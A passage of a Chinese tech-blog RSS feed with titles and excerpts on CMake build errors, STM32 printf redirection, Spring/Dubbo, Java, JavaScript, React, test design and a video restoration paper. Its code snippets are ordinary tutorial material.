      <link>https://bchobby.github.io/posts/e1d8c0861fac622877f087a2566b066e/</link>
      <pubDate>Wed, 06 Apr 2022 10:14:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e1d8c0861fac622877f087a2566b066e/</guid>
      <description>在使用CMake进行构建的时候，CMakeLists配置如下OBJECT库，并指定最小版本为3.14&#xA;cmake_minimum_required(VERSION 3.14) # ogg库 add_library(aiengine_ogg OBJECT third/ogg/bitwise.c third/ogg/framing.c ) 不指定构建的ABI，即编译4个系统平台，x86，x86_64，arm64-v8a，armeabi-v7a&#xA;指定CMake版本为3.18.1，即模块级Gradle内，android.externalNativeBuild.cmake配置&#xA;externalNativeBuild { cmake { path file(&#39;../../CMakeLists.txt&#39;) version &#34;3.18.1&#34; } } NDK使用默认版本21.4.7075529&#xA;会发生如下错误&#xA;E:\Git\sdk_2.x\CMakeLists.txt : C/C++ debug|x86 : Target aiengine_ogg::@6890427a1f51a3e7e1df produces multiple outputs E:\Git\sdk_2.x\AndroidDebugProject\app\.cxx\cmake\debug\x86\CMakeFiles\aiengine_ogg.dir\third\ogg\bitwise.c.o, E:\Git\sdk_2.x\AndroidDebugProject\app\.cxx\cmake\debug\x86\CMakeFiles\aiengine_ogg.dir\third\ogg\framing.c.o 如果修改为只编译指定的1个ABI，则可以构建成功&#xA;尝试更换过NDK，Ninja版本，CMake版本更新为最新3.20也都无法解决这个问题&#xA;最后更换了CMake版本为3.14.0的版本，问题解决，尝试了3.14.7以下的版本都是可以的，3.15.0以上就会报这个错误&#xA;虽然问题解决了，但是具体发生该错误的原因还不清楚，如果有知道的还望告知，谢谢</description>
    </item>
    <item>
      <title>STM32使用printf函数的步骤和注意事项</title>
      <link>https://bchobby.github.io/posts/f1a601d5452b1d070203f516c0e2877e/</link>
      <pubDate>Tue, 05 Apr 2022 17:59:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1a601d5452b1d070203f516c0e2877e/</guid>
      <description>第一种方法: 使用微库: 1,在KEIL中勾选 Use MicroLIB . 即使用微库.&#xA;2, 在代码中添加 如下代码 (目的是为了调用stdio库中的print 函数)&#xA;#include &#34;stdio.h&#34; //支持print 一般添加到main.h中 3,在uart.c 填加如下代码 (目的是为了重定向 stdio库中的print 函数 )&#xA;//重定向print int fputc(int ch, FILE *f)//printf { HAL_GPIO_WritePin(GPIOA,GPIO_PIN_0,GPIO_PIN_SET); //485发送使能端口 没有可去掉 HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch, 1,0xffff); //发送一个字节的数据到你希望的串口 HAL_GPIO_WritePin(GPIOA,GPIO_PIN_0,GPIO_PIN_RESET); //485发送使能端口 没有可去掉 return (ch); } 第二种方法: 不使用微库，使用标准C库，声明不使用半主机模式 1, 在代码中添加 如下代码 (目的是为了调用stdio库中的print 函数)&#xA;#include &#34;stdio.h&#34; //支持print 一般添加到main.h中 2, 关闭半主机模式,并重定向printf&#xA;#pragma import(__use_no_semihosting)//不使用半主机模式 //避免使用半主机模式 void _sys_exit(int x) { x = x; } //标准库需要支持的函数 struct __FILE { int handle; }; FILE __stdout; //重定向print int fputc(int ch, FILE *f)//printf { HAL_GPIO_WritePin(GPIOA,GPIO_PIN_0,GPIO_PIN_SET); //485发送使能端口 没有可去掉 HAL_UART_Transmit(&amp;amp;huart1, (uint8_t *)&amp;amp;ch, 1,0xffff); //发送一个字节的数据到你希望的串口 HAL_GPIO_WritePin(GPIOA,GPIO_PIN_0,GPIO_PIN_RESET); //485发送使能端口 没有可去掉 return (ch); } 解释: 想要明白为什么会有使用微库和不使用微库这两种方案，需要先搞明白一个概念 半主机模式</description>
    </item>
    <item>
      <title>【案例练习】16—25个CSS 文本下划线的实现案例</title>
      <link>https://bchobby.github.io/posts/921ef5e8911f7834b97de8d19a3cf029/</link>
      <pubDate>Tue, 05 Apr 2022 16:00:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/921ef5e8911f7834b97de8d19a3cf029/</guid>
      <description>英文 | https://niemvuilaptrinh.medium.com/19-css-text-underline-for-websites-b17a52c8ac6f&#xA;今天的文章，我们将一起来学习如何将网站中的默认下划线设计成漂亮的下划线效果，同时，可以提升用户体验，也可以帮助网站来吸引用户的注意力！&#xA;现在，我们就开始今天的内容。&#xA;01、CSS下划线效果集合&#xA;演示地址：https://codepen.io/TheCSSKing/pen/VwwRzgg&#xA;02、时尚的下划线 CSS&#xA;演示地址：https://codepen.io/johndjameson/pen/zKrKQP&#xA;03、CSS下划线框阴影&#xA;演示地址：https://codepen.io/johndjameson/pen/NroZqB&#xA;04、CSS 下划线粗细&#xA;演示地址：https://codepen.io/pirrera/pen/WNOYov&#xA;05、CSS3下划线渐变动画&#xA;演示地址：https://codepen.io/NickNoordijk/pen/QbEZQG&#xA;06、SVG 文本下划线&#xA;演示地址：https://codepen.io/iam_aspencer/pen/qvNPBv&#xA;07、CSS 下划线颜色&#xA;演示地址：https://codepen.io/mattgrosswork/pen/rNWvNa&#xA;08、CSS悬停下划线效果 演示地址：https://codepen.io/bonkalol/pen/mdRMOp&#xA;09、Javascript 下划线效果&#xA;演示地址：https://codepen.io/chriscoyier/pen/JjGEpXK&#xA;10、CSS3下划线动画 演示地址：https://codepen.io/jimmyplaysdrums/pen/vOMRQw&#xA;11、SVG下划线效果&#xA;演示地址：https://codepen.io/rachsmith/pen/pJbPyN&#xA;12、悬停下划线 HTML5 CSS3&#xA;演示地址：https://codepen.io/timaronan/pen/zYWdwr&#xA;13、CSS下划线渐变色&#xA;演示地址：https://codepen.io/iLord/pen/MozdKg&#xA;14、CSS动画下划线多行&#xA;演示地址：https://codepen.io/Wking/pen/BdmpVx&#xA;15、 CSS悬停下划线&#xA;演示地址：https://codepen.io/tonkec/pen/jWmgqN&#xA;16、动画下划线悬停&#xA;演示地址：https://codepen.io/msco195/pen/KgodYm&#xA;17、简单的 CSS 滑动下划线菜单&#xA;演示地址：https://codepen.io/rm/pen/AXpmja&#xA;18、下划线动画&#xA;演示地址：https://codepen.io/aaroniker/pen/pojaBvb&#xA;19、多行动画下划线效果&#xA;演示地址：https://codepen.io/cecilehabran/pen/EvRamr&#xA;20、多行跨越动画下划线效果&#xA;演示地址：https://codepen.io/cassie-codes/pen/rNNGdmw&#xA;21、文字装饰下划线动画&#xA;演示地址：https://codepen.io/Kseso/pen/ApYVoW&#xA;22、下划线动画波浪&#xA;演示地址：https://codepen.io/daviddarnes/pen/OgaRYw&#xA;23、文字下划线悬停效果&#xA;演示地址：https://codepen.io/MishaHahaha/pen/rLpoeG&#xA;24、多行动画下划线文字效果&#xA;演示地址：https://codepen.io/melnik909/pen/xNmpZw&#xA;25、 CSS悬停时的下划线效果&#xA;演示地址：https://codepen.io/bobbyshowalter/pen/xxwVvX&#xA;总结&#xA;以上就是，我今天跟大家分享的25个文本下划线的案例效果，希望对你有所帮助，如果你有任何问题，请在留言区给我留言，我会尽快回复。&#xA;感谢你的阅读，祝你今天过得愉快！</description>
    </item>
    <item>
      <title>浅谈Spring整合Dubbo源码（@Service和@Reference注解部分）</title>
      <link>https://bchobby.github.io/posts/1f241af781fdb613b775e3403896bc74/</link>
      <pubDate>Tue, 05 Apr 2022 14:40:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f241af781fdb613b775e3403896bc74/</guid>
      <description>Spring整合Dubbo流程 一、处理properties配置文件1、@EnableDubbo(scanBasePackages = &#34;xxxx&#34;)2、@EnableDubboConfig3、@DubboConfigConfiguration4、DubboConfigBindingsRegistrar5、registerDubboConfigBeans（重点） 二、处理@Service注解1、@DubboComponentScan2、ServiceAnnotationBeanPostProcessor3、registerServiceBeans4、registerServiceBean5、buildServiceBeanDefinition 三、处理@Reference注解1、registerReferenceAnnotationBeanPostProcessor2、ReferenceAnnotationBeanPostProcessor3、findInjectionMetadata4、inject5、doGetInjectedBean6、registerReferenceBean 本文仅仅包含Spring整合Dubbo部分，代码流程中涉及很多Spring的扩展机制，如果对于Spring的一些扩展机制不熟悉的小伙伴，可以先了解Spring中的源码，再阅读本文，否则会出现很多莫名其妙的接口和方法。&#xA;此处之外，文本仅涉及整合部分，不涉及服务调用、引入与导出部分。&#xA;先来一张总体的流程图：&#xA;一、处理properties配置文件 1、@EnableDubbo(scanBasePackages = “xxxx”) 如果Spring项目需要和Spring进行整合，在引入对应的maven依赖后，需要使用@EnableDubbo注解，用来开启对应的Dubbo组件。这个和众多分布式组件类似，都是使用一个注解引入对应的组件。&#xA;scanBasePackages 表示扫描路径，可以类比ComponentScan注解的配置项进行理解。即扫描哪些路径下的实体类，完成dubbo服务的提供。&#xA;在EnableDubbo注解里面又引入了两个注解，处理properties配置文件需要使用到@EnableDubboConfig注解，第二个注解与@Service和@Referencer注解有关，这在下一届进行讲解&#xA;@EnableDubboConfig @DubboComponentScan public @interface EnableDubbo {} 2、@EnableDubboConfig @EnableDubboConfig注解，又以同样的方式引入了DubboConfigConfigurationRegistrar类&#xA;@Target({ElementType.TYPE}) @Retention(RetentionPolicy.RUNTIME) @Inherited @Documented @Import(DubboConfigConfigurationRegistrar.class) public @interface EnableDubboConfig { // multiple默认值为true boolean multiple() default true; } 此类实现了ImportBeanDefinitionRegistrar接口，熟悉Spring的小伙伴都知道这是Spring的一个扩展接口，用来将所有的Java类注册为BeanDefinition，再用于后期的实例化单例Bean步骤&#xA;对应的Spring中的源码位置如下图，这是一个十分重要的点，很多微服务组件都是通过实现这个接口进行BeanDefinition的注册。其对应Spring中refresh方法里面的invokeBeanFactoryPostProcessors方法（如果你对refresh方法都一点没听过，那就直接忽略这里）&#xA;registerBeans方法内部大致逻辑为注册DubboConfigConfiguration这个注解，所以压力又来到了DubboConfigConfiguration这个注解内部。想跟源码的可以跟进去，内部就是调用register方法完成注册&#xA;public class DubboConfigConfigurationRegistrar implements ImportBeanDefinitionRegistrar { @Override public void registerBeanDefinitions(AnnotationMetadata importingClassMetadata, BeanDefinitionRegistry registry) { AnnotationAttributes attributes = AnnotationAttributes.fromMap( importingClassMetadata.getAnnotationAttributes(EnableDubboConfig.class.getName())); boolean multiple = attributes.getBoolean(&#34;multiple&#34;); //true // Single Config Bindings registerBeans(registry, DubboConfigConfiguration.</description>
    </item>
    <item>
      <title>leetcode21 合并两个有序链表——链表插入</title>
      <link>https://bchobby.github.io/posts/04374ccebae0762dba9466175bef4c9c/</link>
      <pubDate>Tue, 05 Apr 2022 10:35:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04374ccebae0762dba9466175bef4c9c/</guid>
      <description>目录 一、题目描述二、解题思路与代码三、注意事项 一、题目描述 将两个升序链表合并为一个新的 升序 链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。&#xA;示例 1：&#xA;输入：l1 = [1,2,4], l2 = [1,3,4]&#xA;输出：[1,1,2,3,4,4]&#xA;示例 2：&#xA;输入：l1 = [], l2 = []&#xA;输出：[]&#xA;来源：力扣（LeetCode）&#xA;链接：https://leetcode-cn.com/problems/merge-two-sorted-lists&#xA;二、解题思路与代码 题目中给的示例是l1和l2，为避免混淆，将其改为fir和sec。本题思路为使用两个指针同时遍历两个单链表，若sec的当前节点值小于fir的当前节点值，则将其插入到fir中，否则fir往后走。具体涉及涉及单链表节点的拆分与插入。&#xA;单链表节点拆分需要做如下两件事：&#xA;1. 断开当前节点与下一节点；&#xA;2. 前一节点的后继指向当前节点的后继。&#xA;假设当前节点为node，则可表示为如下代码：&#xA;node.next = node.next.next; // 要保证node.next != null，在实际应用中需注意 假设新插入的节点为newNode，插入单链表preNode节点后，插入新节点需要做如下两件事：&#xA;1. 让newNode的后继指向preNode的后继；&#xA;2. 让preNode的后继指向newNode。&#xA;即：&#xA;newNode.next = preNode.next; // 让新节点与插入位置节点的下一个节点相连 preNode.next = newNode; // 让插入位置节点与新节点相连 /** * Definition for singly-linked list. * public class ListNode { * int val; * ListNode next; * ListNode() {} * ListNode(int val) { this.</description>
    </item>
    <item>
      <title>Bean管理xml方式</title>
      <link>https://bchobby.github.io/posts/95178fc2ccb3bcf0b782d227c235ed11/</link>
      <pubDate>Tue, 05 Apr 2022 10:25:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/95178fc2ccb3bcf0b782d227c235ed11/</guid>
      <description>有参构造注入和set注入简略 &amp;lt;!--set方法注入属性--&amp;gt; &amp;lt;bean id=&#34;book&#34; class=&#34;com.spring5.Book&#34;&amp;gt; &amp;lt;!--使用property完成属性注入 name:类里面属性名称 value：向属性里注入的值--&amp;gt; &amp;lt;property name=&#34;bname&#34; value=&#34;易筋经&#34;&amp;gt;&amp;lt;/property&amp;gt; &amp;lt;property name=&#34;bauthor&#34; value=&#34;达摩老祖&#34;&amp;gt;&amp;lt;/property&amp;gt; &amp;lt;/bean&amp;gt; &amp;lt;!--有参注入--&amp;gt; &amp;lt;bean id=&#34;order&#34; class=&#34;com.spring5.Order&#34;&amp;gt; &amp;lt;constructor-arg name=&#34;oname&#34; value=&#34;电脑&#34;&amp;gt;&amp;lt;/constructor-arg&amp;gt; &amp;lt;constructor-arg name=&#34;address&#34; value=&#34;China&#34;&amp;gt;&amp;lt;/constructor-arg&amp;gt; &amp;lt;/bean&amp;gt; p名称空间注入 使用p名称空间注入，可以简化基于xml配置方式&#xA;（1）添加p名称空间 ：在xml文件当中beans标签里加入下面这一行&#xA;xmlns:p=&#34;http://www.springframework.org/schema/p&#34; （2）进行属性注入&#xA;&amp;lt;bean id=&#34;book&#34; class=&#34;com.spring5.Book&#34; p:bname=&#34;九阳真经&#34; p:bauthor=&#34;无名氏&#34;&amp;gt; p：类的属性名&#xA;xml注入其他类型属性 1.字面量&#xA;（1）null值&#xA;&amp;lt;property name=&#34;address&#34; &amp;gt; &amp;lt;null/&amp;gt; &amp;lt;/property&amp;gt; （2）属性值包含特殊符号&#xA;&amp;lt;!--包含特殊符号 1.把&amp;lt;&amp;gt;进行转义 2.把特殊符号写到CDATA，属性值&amp;lt;&amp;lt;南京&amp;gt;&amp;gt; --&amp;gt; &amp;lt;property name=&#34;address&#34;&amp;gt; &amp;lt;value&amp;gt;&amp;lt;![CDATA[&amp;lt;&amp;lt;南京&amp;gt;&amp;gt;]]&amp;gt;&amp;lt;/value&amp;gt; &amp;lt;/property&amp;gt; 注入属性-外部bean 1.创建两个类service类和dao类&#xA;2.在service类里调用dao类&#xA;3.在spring中进行配置&#xA;package com.spring5.service; import com.spring5.dao.UserDao; import com.spring5.dao.UserDaoImpl; public class UserService { //注入对象属性 //创建UserDao类型属性，生成set方法 private UserDao userDao; public void setUserDao(UserDao userDao) { this.</description>
    </item>
    <item>
      <title>JavaScript(2021.9.26)</title>
      <link>https://bchobby.github.io/posts/55317006e779726b65aa9cabd67cc837/</link>
      <pubDate>Tue, 05 Apr 2022 03:51:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/55317006e779726b65aa9cabd67cc837/</guid>
      <description>一、引入 1.计算机语言 2.编程语言和标记语言的区别 3.数据存储单位 二.JavaScript简介 1.JS参考文献 菜鸟教程：AngularJS 参考手册 | 菜鸟教程&#xA;W3school：JavaScript 参考手册&#xA;MDN：JavaScript 参考 - JavaScript | MDN&#xA;现代JavaScript教程：现代 JavaScript 教程&#xA;2.JS是什么？ JS的标准命名为ECMAScript，但实际上JavaScript的含义更大一些。JavaScript包括ECMAScript、DOM（文档对象模型，通过JS操作网页）、BOM（浏览器文档对象模型，通过JS操作浏览器）&#xA;3.JS的作用 JS的出现主要用于处理网页中的前端验证（在浏览器中检查用户输入的内容是否符合一定的规则，如：用户名的长度，密码的长度，邮箱的格式）&#xA;4.浏览器执行JS的过程 5.JS的组成 （jsapi） ECMA 欧洲计算机联盟&#xA;Web APIs 包括 DOM(控制标签，对页面元素进行移动、大小、添加、删除等操作)，BOM(操作浏览器，比如页面弹窗、检测窗口宽度、存储数据到浏览器)&#xA;6.JS三种书写位置 （1）行内(内联)样式，写在标签的属性中 点击按钮或超链接时，js代码才会执行&#xA;&amp;lt;button onclick=&#34;alert(&#39;点击后弹出的&#39;)&#34;&amp;gt;点击按钮&amp;lt;/button&amp;gt; &amp;lt;a href=&#34;javascript:alert(&#39;点击后弹出的&#39;)&#34;&amp;gt;点击超链接&amp;lt;/a&amp;gt; script可以写到标签内部 &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;script&amp;gt; document.write(`你好`) &amp;lt;/script&amp;gt; &amp;lt;/div&amp;gt; （2）内部(内嵌)样式，写在head的标签script中 &amp;lt;script type=&#34;text/javascript&#34;&amp;gt;alert(&#34;内嵌式的JS&#34;)&amp;lt;/script&amp;gt; （3）外部(外链)样式，head中连接，一个html文件可以连接多个js文件 &amp;lt;script src=&#34;JS.js&#34;&amp;gt;&amp;lt;/script&amp;gt; 注意：不要在标签中写代码，会不生效&#xA;7. Unicode编码 可查询Unicode编码对照表&#xA;三、注释 1.// 单行注释(ctrl+/) 2./* */ 多行注释(ctrl+shift+/ 或 shift+alt+A) 四、调试 断点调试&#xA;把 变量、表达式、条件判断 添加至监视表达式，然后刷新，一步一步执行（注意：点两次执行该语句或到下一句才执行）</description>
    </item>
    <item>
      <title>Java基础教程-04-方法</title>
      <link>https://bchobby.github.io/posts/8e6b881d6119e208ab2be260a3592a91/</link>
      <pubDate>Tue, 05 Apr 2022 00:25:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e6b881d6119e208ab2be260a3592a91/</guid>
      <description>Java基础教程-04-方法 1. 方法简介 1.1 概述 方法(method)，也叫函数，是将具有独立功能的代码块组织成为一个整体，使其成为具有特殊功能的代码集.&#xA;例如: 现实生活中, 拿牙刷, 挤牙膏, 刷上排牙, 刷下排牙, 漱口, 这些单独的动作合起来, 就完成了刷牙的动作.&#xA;又例如: 让我们获取元素10和20的最大值, 我们可以通过if语句或者三元运算符实现, 如果再让我们获取22和11之间的最大值, 我们还需要把刚才的逻辑代码在写一次. 这样做很繁琐. 针对于这种情况, 我们就可以把获取两个整数最大值的逻辑代码封装到方法中, 当我们需要比较的时候, 直接调用方法就可以了. 这样做, 非常方便.&#xA;2.2 定义格式 修饰符 返回值的数据类型 方法名(参数类型 参数名1, 参数类型 参数名2) { //这里可以写多个参数 //方法体; return 具体的返回值;&#x9;//加工好的饲料 } public static void main(String[] args) { } 1.3 格式解释 • 修饰符: 目前记住这里是固定格式public static&#xA;• 返回值的数据类型: 用于限定返回值的数据类型的.&#xA;注意:&#xA;1. 返回值的数据类型是int类型, 则说明该方法只能返回int类型的整数.&#xA;2. 如果方法没有具体的返回值, 则返回值的数据类型要用void来修饰.&#xA;• 方法名: 方便我们调用方法.&#xA;• 参数类型: 用于限定调用方法时传入的数据的数据类型.</description>
    </item>
    <item>
      <title>java常用的集合分组</title>
      <link>https://bchobby.github.io/posts/87ae12442c517ddf2f2a7a3a420ec48d/</link>
      <pubDate>Mon, 04 Apr 2022 23:49:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87ae12442c517ddf2f2a7a3a420ec48d/</guid>
      <description>1. Collectors.toMap&#xA;List&amp;lt;Order&amp;gt; orders = new ArrayList&amp;lt;Order&amp;gt;; Map&amp;lt;String, Order&amp;gt; orderMap = orders.stream() .collect(Collectors.toMap(Order::getProductCode, Function.identity(), (a, b) -&amp;gt; a)); 2. Collectors.groupingBy&#xA;// 示例一 List&amp;lt;Order&amp;gt; orders = new ArrayList&amp;lt;Order&amp;gt;; Map&amp;lt;String, List&amp;lt;Order&amp;gt;&amp;gt; orderMap = orders.stream() .collect(Collectors.groupingBy(Order::getProductCode); // 示例二 根据商品分组统计商品数量 Map&amp;lt;String, Long&amp;gt; orderMap = orders.stream() .collect(Collectors.groupingBy(Order::getProductCode, Collectors.counting()); // 示例三 根据商品分组，求和商品的下单数量 Map&amp;lt;String, Integer&amp;gt; orderMap = orders.stream() .collect(Collectors.groupingBy(Order::getProductCode, Collectors.summingInt(Order::getSheetNum))); 3.@Mapkey&#xA;sql查询集合后指定字段分组&#xA;/** * 根据商品编号，获得key:商品编号，value:订单信息 * @param productCodeList 商品编号集合 * @return Map&amp;lt;商品编号, 订单实体&amp;gt; */ @Select(&#34;&amp;lt;script&amp;gt;SELECT product_code, order_code &#34;</description>
    </item>
    <item>
      <title>博途的定时器</title>
      <link>https://bchobby.github.io/posts/e4247c5b6e9af1bb46a29fa3d81c2fea/</link>
      <pubDate>Mon, 04 Apr 2022 22:50:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e4247c5b6e9af1bb46a29fa3d81c2fea/</guid>
      <description>旧的S5Time定时器:&#xA;上边的T25是代表了定时器本身, 使用 TIMER 定时器, 数据类型是T.&#xA;下边的表示时间, “OP10AIn”.S5Time1 是S5定时器, 数据类型是 S5TIME, 长度是 WORD/int, 2个字节,&#xA;Timer和S5Timer是一对, 格式 :S5T#10s&#xA;IEC定时器 :&#xA;IEC定时器的类型是一组数. PT表示时间, 是Time类型, 长度是DInt, 4个字节</description>
    </item>
    <item>
      <title>JavaScript 原生JS实现 ‘拖拽‘ 效果</title>
      <link>https://bchobby.github.io/posts/27bed1b0fb5e13e5ca002e03c03596a6/</link>
      <pubDate>Mon, 04 Apr 2022 22:30:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/27bed1b0fb5e13e5ca002e03c03596a6/</guid>
      <description>demo 1 按住鼠标进行移动的拖拽效果实现：&#xA;&amp;lt;!DOCTYPE html&amp;gt; &amp;lt;html lang=&#34;zh&#34;&amp;gt; &amp;lt;head&amp;gt; &amp;lt;meta charset=&#34;UTF-8&#34;&amp;gt; &amp;lt;meta http-equiv=&#34;X-UA-Compatible&#34; content=&#34;IE=edge&#34;&amp;gt; &amp;lt;meta name=&#34;viewport&#34; content=&#34;width=device-width, initial-scale=1.0&#34;&amp;gt; &amp;lt;title&amp;gt;Document&amp;lt;/title&amp;gt; &amp;lt;style&amp;gt; .box{ width: 100px; height: 100px; background-color: pink; position: absolute; left: 0; top: 0; cursor: move; } &amp;lt;/style&amp;gt; &amp;lt;/head&amp;gt; &amp;lt;body&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt;&amp;lt;/div&amp;gt; &amp;lt;script&amp;gt; var box = document.querySelector(&#39;.box&#39;) box.onmousedown = function (ev){ // 鼠标按下时在box中的偏移量 var box_offsetX = ev.offsetX var box_offsetY = ev.offsetY // 在整个文档都可以拖拽box document.onmousemove = function (event){ // 鼠标在页面中的坐标 var x = event.</description>
    </item>
    <item>
      <title>java基础之单元测试</title>
      <link>https://bchobby.github.io/posts/a30a5f6262c7eba5f9819ef162cd485a/</link>
      <pubDate>Mon, 04 Apr 2022 21:53:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a30a5f6262c7eba5f9819ef162cd485a/</guid>
      <description>准备工作 springboot使用单元测试需要先引入以下依赖&#xA;&amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.springframework.boot&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;spring-boot-starter-test&amp;lt;/artifactId&amp;gt; &amp;lt;scope&amp;gt;test&amp;lt;/scope&amp;gt; &amp;lt;/dependency&amp;gt; test依赖会引入如下的jar包&#xA;service单元测试 springboot中单元测试类写在src/test/java目录下，可以进行手动创建测试类，或者通过idea自动创建测试类ctrl+shift+T(shift+command+T)或者菜单栏鼠标点击创建：&#xA;上面就是最简单的单元测试写法，想要执行的时候，鼠标放在对应的方法，右键选择run该方法即可。&#xA;controller单元测试 对controller进行单元测试时，需要使用到MockMvc了。这样就可以不必启动项目就可以测试这些接口了。&#xA;MockMvc实现了对Http请求的模拟，能够直接使用网络的形式，转换到Controller的调用，这样可以使得测试速度快、不依赖网络环境，而且提供了一套验证的工具，这样可以使得请求的验证统一而且很方便。&#xA;示例代码如下：&#xA;package com.test.danyuanceshi.controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RestController; /** * 单元测试联系示例使用到的controller */ @RestController public class DanYuanCeShiController { @GetMapping(&#34;/get/not/param&#34;) public String testDanYanControllerNotParam(){ return &#34;没有请求参数的单元测试get方法&#34;; } } package com.test.danyuanceshi.controller; import org.junit.Assert; import org.junit.Before; import org.junit.BeforeClass; import org.junit.Test; import org.junit.runner.RunWith; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.http.MediaType; import org.springframework.test.context.junit4.SpringRunner; import org.springframework.test.web.servlet.MockMvc; import org.springframework.test.web.servlet.MvcResult; import org.springframework.test.web.servlet.request.MockMvcRequestBuilders; import org.springframework.test.web.servlet.result.MockMvcResultHandlers; import org.springframework.test.web.servlet.setup.MockMvcBuilders; import org.</description>
    </item>
    <item>
      <title>软件测试---正交试验法</title>
      <link>https://bchobby.github.io/posts/63e9063f9aec5e92c212f7f6085ae64c/</link>
      <pubDate>Mon, 04 Apr 2022 21:11:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/63e9063f9aec5e92c212f7f6085ae64c/</guid>
      <description> 正交试验法（简单的做个比较，深入不懂。。。。。） 使用到的工具：正交表&#xA;内涵：从大量的实验数据中找到合适的实验数据组合&#xA;涉及数学原理：《概率论》《线性代数》《数理统计》&#xA;基本思想：&#xA;因素：影响试验结果的原因、条件水平（因素水平）：每一个因素的取值每一列中，同一数字（水平），出现的次数相等任意两列组成的数字对（水平对）出现的次数相等例如： 如何使用（实施步骤） 1）确定因素：分析所有对结果有影响的因素。从多个角度和方式进行分析（不要放过文本框、&#xA;按钮等需求中提及的或者没有提及的）2）确定每个因素水平（取值）：分析每个因素的水平数量。充分利用等价类、边界值〈需求中说明和未说明的都要分析）3）选择正交表。只有特定的因素数和水平数的组合才有对应的正交表。所以在现实中用到的时候，找最贴近的正交表（正交表的因素数和水平数一般要大于实际的因素数和水平数。） 正交表 注：式子Ln（m k）没有数字关系，不是指数和函数关系n 仅代表实验次数m 仅代表水平数k 仅代表因素数这三个数字没有任何的数字关系仅适用于每一个因素的水平数都相同的正交表 案例 1、每个因素的水平数相同案例： 组合数：333 = 27，所以正常要进行27次试验正交方式： 使用工具：正交设计助手，下载链接如下（蓝奏云），解压缩直接用：https://wwr.lanzoux.com/iDIy8oc468j&#xA;密码:a9du此案例选择latin.exe报错，确定即可，不影响新建工程新建实验填写说明（先别点确定）选择正交表（说明：此处应该选最接近的，水平数（m）不可以少，因素数（k）可以多，本来应该选L9_3_3，因为没有此选项，所以选最接近的L9_3_4）因为水平数不可以少，因素数可以多，所以不能选L9_2_3先不要点确定因素和水平设置得到正交表每一行就是一个测试用例注意看： 1、每一列的因素出现的次数相等2、任意两列组成的水平对出现的次数相等（1,60）（1,15）、（60,15） 所以，仅需要9次试验，将有代表性的数据进行试验 </description>
    </item>
    <item>
      <title>react快速入门</title>
      <link>https://bchobby.github.io/posts/2104c0d2eb1857d9c17af0c8aed082f6/</link>
      <pubDate>Mon, 04 Apr 2022 14:20:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2104c0d2eb1857d9c17af0c8aed082f6/</guid>
      <description>React 是什么？ React 是一个声明式，高效且灵活的用于构建用户界面的 JavaScript 库。使用 React 可以将一些简短、独立的代码片段组合成复杂的 UI 界面，这些代码片段被称作“组件”&#xA;JSX 语法&#xA;const element = &amp;lt;h1&amp;gt;Hello, world!&amp;lt;/h1&amp;gt;; 这个有趣的标签语法既不是字符串也不是 HTML。&#xA;它被称为 JSX，是一个 JavaScript 的语法扩展。我们建议在 React 中配合使用 JSX，JSX 可以很好地描述 UI 应该呈现出它应有交互的本质形式。JSX 可能会使人联想到模版语言，但它具有 JavaScript 的全部功能。&#xA;在 JSX 中嵌入表达式 在下面的例子中，我们声明了一个名为 name 的变量，然后在 JSX 中使用它，并将它包裹在大括号中：&#xA;const name = &#39;Josh Perez&#39;; const element = &amp;lt;h1&amp;gt;Hello, {name}&amp;lt;/h1&amp;gt;; ReactDOM.render( element, document.getElementById(&#39;root&#39;) ); 在 JSX 语法中，你可以在大括号内放置任何有效的 JavaScript 表达式。例如，2 + 2，user.firstName 或 formatName(user) 都是有效的 JavaScript 表达式。&#xA;在下面的示例中，我们将调用 JavaScript 函数 formatName(user) 的结果，并将结果嵌入到 &amp;lt;h1&amp;gt; 元素中。</description>
    </item>
    <item>
      <title>[2201] VRT: A Video Restoration Transformer</title>
      <link>https://bchobby.github.io/posts/3775680a9c16853969e675d2d36bdcef/</link>
      <pubDate>Mon, 04 Apr 2022 10:15:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3775680a9c16853969e675d2d36bdcef/</guid>
      <description>paper&#xA;supp&#xA;code&#xA;Content AbstractMethodmodel architecturetemporal mutual self attention (TMSA)mutual attentiontemporal mutual self attention parallel warping (PW) Experimentvideo super resolutionvideo deblurringvideo denoisingablation studymulti-scale architecture &amp;amp; parallel warpingtemporal mutual self attentionattention window size Abstract video restoration methods&#xA;sliding window-based method&#xA;input multiple LQ frames to generate a single HQ frame&#xA;each input frame processed for multiple times in inference&#xA;⟹ \implies ⟹ inefficient feature utilization and increased computation costrecurrent method</description>
    </item>
    <item>
      <title>python 模块信息导出及安装</title>
      <link>https://bchobby.github.io/posts/ca400f1ebda1c4369faf9f78431fa7cd/</link>
      <pubDate>Sun, 03 Apr 2022 21:38:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca400f1ebda1c4369faf9f78431fa7cd/</guid>
